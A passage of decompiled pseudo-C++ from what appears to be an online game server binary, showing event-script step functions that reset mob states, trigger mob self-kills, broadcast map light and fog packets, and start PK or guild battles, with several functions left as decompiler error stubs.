&almss.baseclass_0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v22 = (AxialListIterator *)&almss; goto LABEL_22; } v19 = (int)v18->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v18, &tkn, ps); if ( !AssertClass::operator__( &shineassert, v19 != 0, "PineEventScriptNode::ShineAbstatSet::sa_Step : no Player with handle", 0) ) { v20 = PineScriptToken::pst_GetNumber(&tkn, 0); v21 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v20); if ( !v21 ) { PineScriptToken::pst_GetNumber(&tkn, 0); goto LABEL_15; } ShineObjectClass::ShineObject::so_AllInMap(v21, (int)&almss, 0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v22 = (AxialListIterator *)&almss; goto LABEL_22; } LABEL_15: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 2; almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almss); LOBYTE(v40) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_26: __security_check_cookie(v39); return result; } // 5B2FF0: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #331 *obj, int distancesquar); // 5B2FF4: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #331 *obj, int distancesquar); //----- (004B2AF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatReset *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@4 MobTacticElement::MobActionBase *v10; // eax@4 const char *v11; // eax@4 PineScriptToken *v12; // eax@5 const char *v13; // eax@5 unsigned int v14; // eax@5 __int16 v15; // bp@5 #331 *v16; // edi@7 Movie::Theater *v17; // ecx@9 unsigned __int16 result; // ax@12 unsigned int abstateidx; // [sp+10h] [bp-130h]@4 int (__thiscall **almss)(AxialListMobStateSet *, int, #331 *, int); // [sp+14h] [bp-12Ch]@8 int v21; // [sp+18h] [bp-128h]@9 unsigned int v22; // [sp+1Ch] [bp-124h]@9 int v23; // [sp+20h] [bp-120h]@9 int v24; // [sp+24h] [bp-11Ch]@9 int v25; // [sp+28h] [bp-118h]@9 FunctionEntarance _; // [sp+2Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+30h] [bp-110h]@1 unsigned int v28; // [sp+130h] [bp-10h]@12 int v29; // [sp+13Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatReset::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatReset::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatReset"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v29) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) != 0 ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v9, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&tkn); abstateidx = BTree::operator__(&unk_608A28, v11); if ( abstateidx == -1 ) goto LABEL_3; v12 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v12); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v15 = v14; if ( v14 != -1 && (_WORD)v14 != -1 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almss); almss = &AxialListMobStateSet::_vftable_; LOWORD(v21) = v15; v22 = abstateidx; v23 = 0; v24 = 0; v25 = 0; v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v29) = 3; Movie::Theater::t_AllInMap(v17, (AxialListIterator *)&almss); almss = &AxialListMobStateSet::_vftable_; } else { v16 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v16 ) { LABEL_11: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v29 = -1; goto LABEL_12; } AxialListMobStateSet::AxialListMobStateSet( (AxialListMobStateSet *)&almss, 0xFFFFu, (AbnormalStateInfo::ABSTATEINDEX)abstateidx, 0, 0, 0); LOBYTE(v29) = 2; AxialListMobStateSet::almss_AbStateSet((AxialListMobStateSet *)&almss, v16); almss = &AxialListMobStateSet::_vftable_; } LOBYTE(v29) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almss); goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no handle", 0); LABEL_3: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v29 = -1; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); __security_check_cookie(v28); return result; } // 5B2FF0: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #331 *obj, int distancesquar); //----- (004B2D70) -------------------------------------------------------- #error "4B2D70: undefined or illegal type '#331' (funcsize=107)" //----- (004B2EE0) -------------------------------------------------------- #error "4B2EE0: undefined or illegal type '#331' (funcsize=47)" //----- (004B2FB0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSuicide *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineScriptToken *v10; // eax@1 void *v11; // ecx@2 int v12; // eax@6 unsigned __int16 v13; // si@6 const char *v14; // eax@7 unsigned int v15; // eax@7 int v16; // esi@9 const char *v17; // eax@9 int (__thiscall **v18)(AxialListMobSuicide *, int, #331 *, int); // edi@11 void *v19; // ecx@11 #331 *v20; // esi@14 unsigned __int16 result; // ax@18 int (__thiscall **alms)(AxialListMobSuicide *, int, #331 *, int); // [sp+Ch] [bp-324h]@2 __int16 v23; // [sp+10h] [bp-320h]@2 FunctionEntarance _; // [sp+14h] [bp-31Ch]@1 PineScriptToken tkn; // [sp+18h] [bp-318h]@1 PineScriptToken temp; // [sp+118h] [bp-218h]@6 PineScriptToken all; // [sp+218h] [bp-118h]@1 unsigned int cookie; // [sp+31Ch] [bp-14h]@18 int v29; // [sp+32Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineSuicide::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSuicide::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineSuicide"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v29) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); memcpy(&all, &tkn, sizeof(all)); LOBYTE(v29) = 2; v10 = PineScriptToken::pst_ToLower(&all); if ( !PineScriptToken::operator__(v10, "all") ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = v12; PineScriptToken::PineScriptToken(&temp, v12); LOBYTE(v29) = 4; if ( PineScriptToken::operator__(&temp, tkn.pst_Buffer) ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); v15 = BTree::operator__(&mobdatabox.mdb_btree, v14); if ( v15 == -1 ) LOWORD(v15) = -1; v16 = (unsigned __int16)v15; MoveManager::MoveManager((DiceTaiSai *)&tkn); if ( v16 == 65535 ) AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineSuicide::sa_Step : Invalid mob id", v17); AxialListIterator::AxialListIterator((AxialListIterator *)&alms); v18 = &AxialListMobSuicide::_vftable_; alms = &AxialListMobSuicide::_vftable_; v23 = v16; v19 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v29) = 5; if ( v19 ) ShineObjectClass::ShineObject::so_AllInMap(v19, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); } else { v20 = ShineObjectManager::som_GetObject(&shineobjmanager, v13); if ( !v20 ) { LABEL_17: LOBYTE(v29) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&temp); goto LABEL_18; } AxialListIterator::AxialListIterator((AxialListIterator *)&alms); v18 = &AxialListMobSuicide::_vftable_; alms = &AxialListMobSuicide::_vftable_; v23 = -1; LOBYTE(v29) = 6; AxialListMobSuicide::alms_SelfKill((AxialListMobSuicide *)&alms, v20); } LOBYTE(v29) = 4; alms = v18; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); goto LABEL_17; } AxialListIterator::AxialListIterator((AxialListIterator *)&alms); alms = &AxialListMobSuicide::_vftable_; v23 = -1; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v29) = 3; if ( v11 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v29) = 2; alms = &AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); LABEL_18: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&all); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); __security_check_cookie(cookie); return result; } // 5986E4: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #331 *obj, int distancesquar); //----- (004B3300) -------------------------------------------------------- #error "4B3300: undefined or illegal type '#331' (funcsize=140)" //----- (004B3520) -------------------------------------------------------- #error "4B3520: undefined or illegal type '#331' (funcsize=140)" //----- (004B3740) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapLight *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 int v10; // eax@2 int v11; // eax@3 int v12; // ebx@5 MobTacticElement::MobActionBase *v13; // eax@5 MobTacticElement::MobActionBase *v14; // eax@5 MobTacticElement::MobActionBase *v15; // eax@5 MobTacticElement::MobActionBase *v16; // eax@5 MobTacticElement::MobActionBase *v17; // eax@5 char *v18; // eax@5 Movie::Theater *v19; // ecx@5 unsigned __int16 result; // ax@6 int v21; // [sp+4h] [bp-140h]@1 char *v22; // [sp+4h] [bp-140h]@4 int blue; // [sp+18h] [bp-12Ch]@3 int red; // [sp+1Ch] [bp-128h]@2 AxialListPacketBroadcast alchat; // [sp+24h] [bp-120h]@5 int v26; // [sp+30h] [bp-114h]@3 PineScriptToken tkn; // [sp+34h] [bp-110h]@1 unsigned int v28; // [sp+134h] [bp-10h]@6 int v29; // [sp+140h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineMapLight::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapLight::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapLight"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v29) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v21 = 0; if ( v9 != 0 && (red = PineScriptToken::pst_GetNumber(&tkn, 0), v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v21 = 0, v10 != 0) && (blue = PineScriptToken::pst_GetNumber(&tkn, 0), v11 = (int)v4->baseclass_0.os_Express[2]->baseclass_0.vfptr->sa_Calculate( (PineEventScriptNode::ScriptAtom *)v4->baseclass_0.os_Express[2], &tkn, ps), v26 = v11 != 0, v21 = 0, v11 != 0) ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_59F2B8); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)red); v15 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &stru_59F2B8); v16 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v15, (MobTacticElement::MobActionArgument *)blue); v17 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v16, &stru_59F2B8); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v17, (MobTacticElement::MobActionArgument *)v12); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27658; v18[2] = red; v18[4] = blue; v18[3] = v12; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v19 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v29) = 2; Movie::Theater::t_AllInMap(v19, &alchat.baseclass_0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v22 = "PineEventScriptNode::ShineMapLight::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapLight::sa_Step : no argument", v21); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v22 = "PineEventScriptNode::ShineMapLight::sa_Step"; } --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); __security_check_cookie(v28); return result; } //----- (004B39B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapFog *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // ebx@3 int v10; // eax@5 __int16 v11; // di@5 MobTacticElement::MobActionArgument *v12; // ST0C_4@5 MobTacticElement::MobActionBase *v13; // eax@5 MobTacticElement::MobActionBase *v14; // eax@5 MobTacticElement::MobActionBase *v15; // eax@5 char *v16; // eax@5 void *v17; // ecx@5 unsigned __int16 result; // ax@10 char *v19; // [sp-4h] [bp-138h]@2 AxialListPacketBroadcast alchat; // [sp+14h] [bp-120h]@5 FunctionEntarance _; // [sp+20h] [bp-114h]@1 PineScriptToken tkn; // [sp+24h] [bp-110h]@1 unsigned int v23; // [sp+124h] [bp-10h]@10 int v24; // [sp+130h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineMapFog::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineMapFog::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapFog::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapFog"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v24) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) != 0 ) { v9 = PineScriptToken::pst_GetNumber(&tkn, 0); if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps) != 0 ) { v10 = PineScriptToken::pst_GetNumber(&tkn, 0); v11 = v10; v12 = (MobTacticElement::MobActionArgument *)v10; v13 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_59F2B8); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)v9); v15 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &stru_59F2B8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v15, v12); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27662; v16[2] = v9; *(_WORD *)(v16 + 3) = v11; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v17 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v24) = 2; if ( v17 ) ShineObjectClass::ShineObject::so_AllInMap(v17, (int)&alchat, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v19 = "PineEventScriptNode::ShineMapFog::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapFog::sa_Step : no argument", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v19 = "PineEventScriptNode::ShineMapFog::sa_Step"; } --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); __security_check_cookie(v23); return result; } //----- (004B3C00) -------------------------------------------------------- #error "4B3C00: undefined or illegal type '#331' (funcsize=262)" //----- (004B3FA0) -------------------------------------------------------- #error "4B3FA0: undefined or illegal type '#331' (funcsize=327)" //----- (004B4410) -------------------------------------------------------- #error "4B4410: undefined or illegal type '#331' (funcsize=125)" //----- (004B45F0) -------------------------------------------------------- #error "4B45F0: undefined or illegal type '#331' (funcsize=84)" //----- (004B4760) -------------------------------------------------------- #error "4B4760: undefined or illegal type '#331' (funcsize=122)" //----- (004B4940) -------------------------------------------------------- #error "4B4940: undefined or illegal type '#331' (funcsize=122)" //----- (004B4B20) -------------------------------------------------------- #error "4B4B20: undefined or illegal type '#331' (funcsize=84)" //----- (004B4C90) -------------------------------------------------------- #error "4B4C90: undefined or illegal type '#331' (funcsize=67)" //----- (004B4DA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 unsigned __int16 v8; // ax@1 unsigned __int16 v9; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineDeathCountClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_59CBB8); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineDeathCountClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); MobDeadCount::mdc_Clear((MobDeadCount *)(*(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280) + 72)); v8 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineDeathCountClear::sa_Step"); return v9; } //----- (004B4E90) -------------------------------------------------------- #error "4B4E90: undefined or illegal type '#331' (funcsize=154)" //----- (004B50E0) -------------------------------------------------------- #error "4B50E0: undefined or illegal type '#331' (funcsize=136)" //----- (004B5300) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStart::sa_Step(PineEventScriptNode::ShineBattleStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBattleStart *v4; // edi@1 signed int v5; // ebp@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineScriptToken *v10; // eax@1 PineScriptToken *v11; // eax@1 void *v12; // ecx@2 int v13; // ebp@11 int v14; // edi@13 char *v15; // eax@13 Movie::Theater *v16; // ecx@13 int v17; // eax@17 char *v18; // ecx@17 Movie::Theater *v19; // ecx@17 const char *v20; // eax@18 unsigned __int16 result; // ax@20 AxialListPacketBroadcast alchat; // [sp+14h] [bp-12Ch]@2 FunctionEntarance _; // [sp+20h] [bp-120h]@1 AxialListPacketBroadcast thisa; // [sp+24h] [bp-11Ch]@17 PineScriptToken tkn; // [sp+30h] [bp-110h]@1 unsigned int v26; // [sp+130h] [bp-10h]@20 int v27; // [sp+13Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineBattleStart::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineBattleStart::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineBattleStart::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineBattleStart"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v27) = 1; v10 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v11 = PineScriptToken::pst_ToLower(v10); if ( PineScriptToken::operator__(v11, index_pk.pst_Buffer) ) { Movie::Theater::t_MapPKFlag(*(Movie::Theater **)&ps->gap10114[4], 1); AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alchat, 6, 18); v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v27) = 2; if ( v12 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&alchat, 0); LOBYTE(v27) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v27) = 1; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } goto LABEL_19; } if ( !PineScriptToken::operator__(&tkn, index_guild.pst_Buffer) ) { if ( PineScriptToken::operator__(&tkn, index_GuildTournamentStart.pst_Buffer) ) { if ( (int)v4->baseclass_0.os_Express[0]->baseclass_0.vfptr->sa_Calculate( (PineEventScriptNode::ScriptAtom *)v4->baseclass_0.os_Express[0], &tkn, ps) != 0 ) { v17 = PineScriptToken::pst_GetNumber(&tkn, 0); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29920; *(_DWORD *)(v18 + 2) = v17; AxialListPacketBroadcast::AxialListPacketBroadcast(&thisa, &gpp, 6); v19 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v27) = 4; Movie::Theater::t_AllInMap(v19, &thisa.baseclass_0); LOBYTE(v27) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&thisa); } else { AssertClass::ac_AssertFail(&shineassert, 